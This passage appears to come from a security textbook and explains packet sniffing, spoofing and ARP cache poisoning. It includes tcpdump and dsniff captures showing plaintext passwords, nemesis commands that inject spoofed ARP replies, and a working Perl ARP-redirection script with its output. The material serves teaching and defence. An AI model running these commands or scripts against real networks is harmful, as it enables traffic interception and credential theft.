|
|
Also on the data-link layer lies the distinction between switched and unswitched networks. On an unswitched network, Ethernet packets pass through every device on the network, expecting each system device to only look at packets sent to its destination address. However, it's fairly trivial to set a device to promiscuous mode, which causes it to look at all packets, regardless of the destination address. Most packet-capturing programs, such as tcpdump, drop the device they are listening to into promiscuous mode by default. Promiscuous mode can be set using ifconfig, as seen in the following output.
# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:9 Base address:0xc000
# ifconfig eth0 promisc
# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:9 Base address:0xc000
#
The act of capturing packets that aren't necessarily meant for public viewing is called sniffing. Sniffing packets in promiscuous mode on an unswitched network can turn up all sorts of useful information, as the following output shows.
# tcpdump -l -X 'ip host 192.168.0.118' tcpdump: listening on eth0 21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win 17316 <nop,nop,timestamp 466808 920202> (DF) 0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E..].e@........v 0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........)..s^... 0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C../.........x 0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft. 0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99. 0x0050 3133 13 21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840 <nop,nop,timestamp 920662 466808> (DF) [tos 0x10] 0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)... 0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ...............V 0x0030 0007 1f78 ...x 21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42 win 5840 <nop,nop,timestamp 921434 466808> (DF) [tos 0x10] 0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 E..@.p@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)... 0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z 0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech.. 21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13 win 17304 <nop,nop,timestamp 466885 921434> (DF) 0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 E..V..@....m...v 0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^... 0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,.......... 0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password 0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le 0x0050 6563 ec 21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840 <nop,nop,timestamp 921435 466885> (DF) [tos 0x10] 0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)... 0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[ 0x0030 0007 1fc5 .... 21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76 win 5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10] 0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)... 0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................ 0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite 0x0040 0d0a .. 21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27 win 17290 <nop,nop,timestamp 466923 921809> (DF) 0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 E..O..@....T...v 0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^... 0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..C.L........... 0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 ....230.User.lee 0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in...
Services such as telnet, FTP, and POP3 are unencrypted. In the preceding example, the user leech is seen logging in to an FTP server using the password l8@nite. Because the authentication process during login is also unencrypted, usernames and passwords are simply contained in the data portions of the transmitted packets.
Tcpdump is a wonderful, general-purpose packet sniffer, but there are specialized sniffing tools designed specifically to search for usernames and passwords. One notable example is Dug Song's program, dsniff.
# dsniff -n dsniff: listening on eth0 ----------------- 12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp) USER leech PASS l8@nite ----------------- 12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet) USER root PASS 5eCr3t
Even without the assistance of a tool like dsniff, it's fairly trivial for an attacker sniffing the network to find the usernames and passwords in these packets and use them to compromise other systems. From a security perspective, this generally isn't too good, so more intelligent switches provide switched network environments.
In a switched network environment, packets are only sent to the port they are destined to, according to their destination MAC addresses. This requires more intelligent hardware that can create and maintain a table associating MAC addresses with certain ports, depending on which device is connected to each port, as illustrated here:
The advantage of a switched environment is that devices are only sent packets that are meant for them, meaning that promiscuous devices aren't able to sniff any additional packets. But even in a switched environment, there are clever ways to sniff other devices' packets; they just tend to be a bit more complex. In order to find hacks like these, the details of the protocols must be examined and then combined.
One important detail of network communications that can be manipulated for interesting effects is the source address. There's no provision in these protocols to ensure that the source address in a packet really is the address of the source machine. The act of forging a source address in a packet is known as spoofing. The addition of spoofing to the bag of tricks greatly increases the number of possible hacks, because most systems expect the source address to be valid.
Spoofing is the first step in sniffing packets on a switched network. The other two interesting details are found in ARP. First, when an ARP reply comes in with an IP address that already exists in the ARP cache, the receiving system will overwrite the prior MAC address information with the new information found in the reply (unless that entry in the ARP cache was explicitly marked as permanent). The second detail of ARP is that systems will accept an ARP reply even if they didn't send out an ARP request. This is because state information about the ARP traffic isn't kept, because this would require additional memory and would complicate a protocol that is meant to be simple.
These three details, when exploited properly, can allow an attacker to sniff network traffic on a switched network with a technique known as ARP redirection. The attacker sends spoofed ARP replies to certain devices that cause the ARP cache entries to be overwritten with the attacker's data. This technique is called ARP cache poisoning. In order to sniff network traffic between two points, A and B, the attacker needs to poison the ARP cache of A to cause A to believe that B's IP address is at the attacker's MAC address, and also poison the ARP cache of B to cause B to believe that A's IP address is also at the attacker's MAC address. Then the attacker's machine simply needs to forward these packets to their appropriate final destinations, and all of the traffic between A and B still gets delivered, but it all flows through the attacker's machine, as shown here:
Because A and B are wrapping their own Ethernet headers on their packets based on their respective ARP caches, A's IP traffic meant for B is actually sent to the attacker's MAC address, and vice versa. The switch only filters traffic based on MAC address, so the switch will work as it's designed to, sending A's and B's IP traffic, destined for the attacker's MAC address, to the attacker's port. Then the attacker rewraps the IP packets with the proper Ethernet headers and sends them back out to the switch, where they are finally routed to their proper destination. The switch works properly; it's the victim machines that are tricked into redirecting their traffic through the attacker's machine.
Due to time-out values, the victim machines will periodically send out real ARP requests and receive real ARP replies in response. In order to maintain the redirection attack, the attacker must keep the victim machine's ARP caches poisoned. A simple way to accomplish this is to simply send spoofed ARP replies to both A and B at a constant interval, perhaps every ten seconds.
A gateway is a system that routes all the traffic from a local network out to the Internet. ARP redirection is particularly interesting when one of the victim machines is the default gateway, because the traffic between the default gateway and another system is that system's Internet traffic. For example, if a machine at 192.168.0.118 is communicating with the gateway at 192.168.0.1 over a switch, the traffic will be restricted by MAC address. This means that this traffic cannot normally be sniffed, even in promiscuous mode. In order to sniff this traffic, it must be redirected.
To redirect the traffic, first the MAC addresses of 192.168.0.118 and 192.168.0.1 need to be determined. This can be done by pinging these hosts, because any IP connection attempt will use ARP.
# ping -c 1 -w 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 octets data
64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms
--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
# ping -c 1 -w 1 192.168.0.118
PING 192.168.0.118 (192.168.0.118): 56 octets data
64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms
--- 192.168.0.118 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
# arp -na
? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0
? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0
# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:4153 errors:0 dropped:0 overruns:0 frame:0
TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)
Interrupt:9 Base address:0xc000
#
After pinging, the MAC addresses for both 192.168.0.118 and 192.168.0.1 are in the ARP cache. This information is needed in the ARP cache so the packets can reach their final destinations after being redirected to the attacker's machine. Assuming IP-forwarding capabilities are compiled into the kernel, all that's needed now are some spoofed ARP replies at regular intervals. 192.168.0.118 needs to be told that 192.168.0.1 is at 00:00:AD:D1:C7:ED, and 192.168.0.1 needs to be told that 192.168.0.118 is also at 00:00:AD:D1:C7:ED. These spoofed ARP packets can be injected using a command-line packet-injection tool called nemesis. Nemesis was originally a suite of tools written by Mark Grimes, but in the most recent 1.4 version the functionality has been rolled up into a single utility by the new maintainer and developer, Jeff Nathan.
# nemesis NEMESIS -=- The NEMESIS Project Version 1.4beta3 (Build 22) NEMESIS Usage: nemesis [mode] [options] NEMESIS modes: arp dns ethernet icmp igmp ip ospf (currently non-functional) rip tcp udp NEMESIS options: To display options, specify a mode with the option "help". # nemesis arp help ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22) ARP/RARP Usage: arp [-v (verbose)] [options] ARP/RARP Options: -S <Source IP address> -D <Destination IP address> -h <Sender MAC address within ARP frame> -m <Target MAC address within ARP frame> -s <Solaris style ARP requests with target hardware addess set to broadcast> -r ({ARP,RARP} REPLY enable) -R (RARP enable) -P <Payload file> Data Link Options: -d <Ethernet device name> -H <Source MAC address> -M <Destination MAC address> You must define a Source and Destination IP address. # # nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30 ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22) [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.1 > 192.168.0.118 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected # nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01 ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22) [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.118 > 192.168.0.1 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected #
These two commands spoof ARP replies from 192.168.0.1 to 192.168.0.118, and vice versa, both claiming that their MAC address is at the attacker's MAC address of 00:00:AD:D1:C7:ED. If these commands are repeated every ten seconds, as can be done with the following Perl command, these bogus ARP replies will continue to keep the ARP caches poisoned and the traffic redirected.
# perl -e 'while(1){print "Redirecting...\n"; system("nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30"); system("nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01");sleep 10;}' Redirecting... Redirecting...
This entire process can be automated by a Perl script, like the following.
arpredirect.pl
#!/usr/bin/perl
$device = "eth0";
$SIG{INT} = \&cleanup; # Trap for Ctrl-C, and send to cleanup
$flag = 1;
$gw = shift; # First command line arg
$targ = shift; # Second command line arg
if (($gw . "." . $targ) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/)
{ # Perform input validation; if bad, exit.
die("Usage: arpredirect.pl <gateway> <target>\n");
}
# Quickly ping each target to put the MAC addresses in cache
print "Pinging $gw and $targ to retrieve MAC addresses...\n";
system("ping -q -c 1 -w 1 $gw > /dev/null");
system("ping -q -c 1 -w 1 $targ > /dev/null");
# Pull those addresses from the arp cache
print "Retrieving MAC addresses from arp cache...\n";
$gw_mac = qx[/sbin/arp -na $gw];
$gw_mac = substr($gw_mac, index($gw_mac, ":")-2, 17);
$targ_mac = qx[/sbin/arp -na $targ];
$targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17);
# If they're not both there, exit.
if($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("MAC address of $gw not found.\n");
}
if($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("MAC address of $targ not found.\n");
}
# Get your IP and MAC
print "Retrieving your IP and MAC info from ifconfig...\n";
@ifconf = split(" ", qx[/sbin/ifconfig $device]);
$me = substr(@ifconf[6], 5);
$me_mac = @ifconf[4];
print "[*] Gateway: $gw is at $gw_mac\n";
print "[*] Target: $targ is at $targ_mac\n";
print "[*] You: $me is at $me_mac\n";
while($flag)
{ # Continue poisoning until ctrl-C
print "Redirecting: $gw -> $me_mac <- $targ";
system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H
$me_mac -M $targ_mac");
system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H
$me_mac -M $gw_mac");
sleep 10;
}
sub cleanup
{ # Put things back to normal
$flag = 0;
print "Ctrl-C caught, exiting cleanly.\nPutting arp caches back to normal.";
system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H
$gw_mac -M $targ_mac");
system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H
$targ_mac -M $gw_mac");
}
# ./arpredirect.pl
Usage: arpredirect.pl <gateway> <target>
# ./arpredirect.pl 192.168.0.1 192.168.0.118
Pinging 192.168.0.1 and 192.168.0.118 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...
Retrieving your IP and MAC info from ifconfig...
[*] Gateway: 192.168.0.1 is at 00:50:18:00:0F:01
[*] Target: 192.168.0.118 is at 00:C0:F0:79:3D:30
[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED
Redirecting: 192.168.0.1 -> 00:00:AD:D1:C7:ED <- 192.168.0.118
ARP Packet Injected
ARP Packet Injected
Redirecting: 192.168.0.1 -> 00:00:AD:D1:C7:ED <- 192.168.0.118
ARP Packet Injected
ARP Packet Injected
Ctrl-C caught, exiting cleanly.
Putting arp caches back to normal.
ARP Packet Injected
ARP Packet Injected
#
|
|